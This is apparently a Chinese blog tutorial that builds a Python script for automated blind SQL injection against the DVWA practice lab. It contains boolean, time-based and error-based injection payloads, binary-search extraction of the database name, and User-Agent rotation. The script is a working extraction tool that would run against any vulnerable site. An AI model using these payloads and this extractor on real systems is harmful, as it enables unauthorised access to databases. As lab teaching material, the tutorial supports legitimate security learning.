以DVWA靶场的盲注为例子。
分析
对网页的响应进行分析
- 设置的是low level
- 测试注入语句:
1' OR LENGTH(database())=4 #
- 响应的URL:
http://dvwa/vulnerabilities/sqli_blind/?id=1%27+OR+LENGTH%28database%28%29%29%3D4%23&Submit=Submit#
- 关键响应内容:

5, 如果超出了范围,<pre>
标签中显示的语句:User ID is MISSING from the database.
还可以进一步结合源代码分析——POST或者GET的请求方式?
编写思路
盲注方法
基本的盲注有三种:
为了方便编写代码与理解,就选择布尔来作为例子
获取敏感信息步骤
其实第一步和第二步一般可以写在一起,这里拆开写,方便自己理解之外就是方便扩展
获取数据库名称长度
- 给定一个长度范围
- 使用sql injection语句结合长度进行请求
- 通过响应内容来得到正确信息
- 发送请求
sql injection语句
延用上面的那一个:1' OR LENGTH(database())=4 #
- 长度数字:变量
- 完整的
target_url
的构造
- 遍历
重点代码如下:
1
2
|
query = f"1' AND LENGTH(DATABASE()) = {i} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"
|
i
是长度数字,会在遍历中进行替换
所需的响应内容
结合响应信息得到:
1
2
3
4
|
errorText = [
"User ID is MISSING from the database.",
"User ID exists in the database."
]
|
按理说其实只用得到第二条。
重点代码:
1
2
3
4
5
6
7
|
response = requests.get(full_url, headers=self.get_random_agent())
if errorText[1] in response.text:
print("YES")
print(f"[*] DATABASE LENGTH: {i}")
return i
|
发送请求
目前只考虑了User-Agents。(重发机制、限速机制……不属于基础script后续再说)
1
2
3
4
5
|
[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15"
]
|
1
2
|
headers = {"User-Agent": random.choice(self.agents)}
return headers
|
最后考虑到数据库名称不会有多离谱的长度,所以简单的遍历就可以满足,暂时不需要什么优化算法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
def get_random_agent(self):
headers = {"User-Agent": random.choice(self.agents)}
return headers
def get_db_length(self):
for i in range(1, 21): # 从 1 开始
query = f"1' AND LENGTH(DATABASE()) = {i} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"
response = requests.get(full_url, headers=self.get_random_agent())
if errorText[1] in response.text:
print("YES")
print(f"[*] DATABASE LENGTH: {i}")
return i
|
获取数据库名称
- 根据上一步得到数据库名称长度
- 根据不同数据库系统对名称的要求,测试使用的mysql在Windows环境下不区分大小写、包含数字、特殊字符,所以ascii范围:
32-126
1
2
3
4
5
6
|
RANGES = {
"lowercase": (97, 122), # a-z
"uppercase": (65, 90), # A-Z
"numbers": (48, 57), # 0-9
"special": [(32, 47), (58, 64), (91, 96), (123, 126)] # 特殊字符
}
|
构造full_url
基本没有什么区别,只是有两个变量:
- 当前猜测的第x个字符:
index
- 当前猜测的字符的ascii码:
mid
1
2
3
|
query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) > {mid} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"
response = requests.get(full_url, headers=self.get_random_agent())
|
为什么是mid
,和使用的优化算法有关
优化算法——二分查找算法
基本版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
def binary_search_iterative(arr, target):
""" 迭代实现二分查找 """ left, right = 0, len(arr) - 1
while left <= right:
mid = (left + right) // 2
if arr[mid] == target:
return mid
elif arr[mid] > target:
right = mid - 1 # 继续查找左半部分
else:
left = mid + 1 # 继续查找右半部分
return -1 # 未找到返回 -1
|
想起来这个得感谢被期末折磨的自己
进行一些因地制宜的改造:
获取单个字符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def bisect_with_name(self, index):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) > {mid} %23"
full_url = f"{base_url}?id={query}&Submit=Submit#"
response = requests.get(full_url, headers=self.get_random_agent())
if errorText[1] in response.text:
low = mid + 1
else:
high = mid - 1
final_char = chr(low)
print(f"[*] FIND CHARACTER AT POSITION {index}: {final_char}")
return final_char
|
最后汇总一下所有获得的字符:
1
2
3
4
5
6
7
8
9
10
|
def get_db_name(self, length):
res = []
for i in range(1, length+1):
res.append(self.bisect_with_name(i))
db_name = "".join(res) # 将数组转换为字符串
print(f"[*] DATABASE NAME: {db_name}")
return db_name
|
这里再贴一个使用传统两层遍历的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def brute_force_db_name(self, length):
""" 使用暴力枚举方法逐个字符猜解 DATABASE() 名称 """
res = []
for index in range(1, length + 1): # 逐个字符猜解
for ascii_code in range(32, 127): # 遍历所有可打印字符
query = f"1' AND ascii(substr(DATABASE(), {index}, 1)) = {ascii_code} %23"
full_url = f"{self.base_url}?id={query}&Submit=Submit#"
response = requests.get(full_url, headers=self.get_random_agent())
if errorText[1] in response.text:
found_char = chr(ascii_code)
res.append(found_char)
print(f"[*] FIND CHARACTER AT POSITION {index}: {found_char}")
break # 发现正确字符后,跳出内循环
db_name = "".join(res)
print(f"[*] DATABASE NAME (BRUTE FORCE): {db_name}")
return db_name
|
性能对比
基本代码就这样。
用使用了二分查找算法的和原始的进行了一个粗略的耗时比较(单位:秒):
使用二分查找 |
使用两层遍历 |
12.21656890000122 |
142.61180740000054 |
扩展一些功能
- 可自选的请求方法
- 可自选的盲注方式
- 超时处理
自选请求方法
requests.get()
:GET方法
requests.post()
:POST方法
两者都有很多参数,不过我为了方便修改target_url,在前面使用的是占位符替换。
- 对于GET方法,延用上面的占位符替换URL
- 对于POST使用data参数来传递payload
POST
对于参数params来说,需要具体分析。在这里的注入点是id
,所以写id
。同时还有Submit
这个参数也必须写上,所以得到参数如下:
1
2
3
4
5
6
7
8
9
10
11
|
params = {
"id": selected_payload,
"Submit": "Submit"
}
response = requests.post(
self.base_url,
data=params,
headers=self.get_random_agent(),
timeout=60
)
|
对于超时处理,使用timeout
参数,结合try-expect
:
完整函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def send_request(self, selected_payload):
params = {
"id": selected_payload,
"Submit": "Submit"
}
full_url = f"{base_url}?id={selected_payload}&Submit=Submit#"
try:
if self.request_method == "GET":
response = requests.get(full_url, headers=self.get_random_agent(), timeout=60)
elif self.request_method == "POST":
response = requests.post(self.base_url, data=params, headers=self.get_random_agent(), timeout=60)
else:
print("[!] unknown request method ")
return None
except requests.Timeout:
print("[!] Request Timeout")
return None
|
自选盲注方式
前面提到了有三种基本盲注方式,分别有不同的适合场景——DVWA的四个level的靶场就是不同的盲注方式的利用。
前面的代码只是使用了一种方法的,如果想要使用其他的简单来说只需要更换sql injection语句和相关的部分代码就行,但还是有点不够方便,所以使用字典来存储payload和检查信息——更方便利用且不会造成不必要的代码冗余。
猜解数据库名称长度示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
query = [
# 布尔盲注,用于GET
{
"payload": lambda i: f"1' AND LENGTH(DATABASE()) = {i} %23",
"check": lambda r: errorText[1] in r.text
},
# 时间盲注
{
"payload": lambda i: f"1' AND IF(LENGTH(DATABASE())={i}, SLEEP(6), 0) %23",
"check": lambda r: r.elapsed.total_seconds()>=4
},
{
"payload": lambda i: f"1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (LENGTH(database())={i}), 0x3a, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) %23",
"check": lambda r: r.status_code == 500
}
]
|
这样,在启动的时候,只需要输入所需要使用的语句的标号就行了——[0, 1, 2]
- (optional:可以增加一个输入检查要求输入的标号是否在合法范围内)
适当的,对__init__()
进行修改:
- 增加盲注方式选项:
operation_code
- 增加请求方式选项:
request_method
1
2
3
4
5
6
7
8
9
10
|
def __init__(self, base_url, operation_code, request_method):
self.session = requests.session()
self.base_url = base_url
self.operation_code = operation_code
self.request_method = request_method
self.agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15"
]
|
最后一个就是对于信息的检查
这里也是使用上面的字典结构的原因:
代码:
1
2
3
4
5
6
7
8
9
|
selected_query = query[self.operation_code] # 从query字典中选择payload
for i in range(1, 21): # 从 1 开始
payload = selected_query["payload"](i) # 传入i
response = self.send_request(payload)
if selected_query["check"](response):
print(f"[*] DATABASE LENGTH: {i}")
return i
|
上面举例了对数据库名称长度进行盲注获取的函数的改造,后续的几个函数也是大差不差的效果。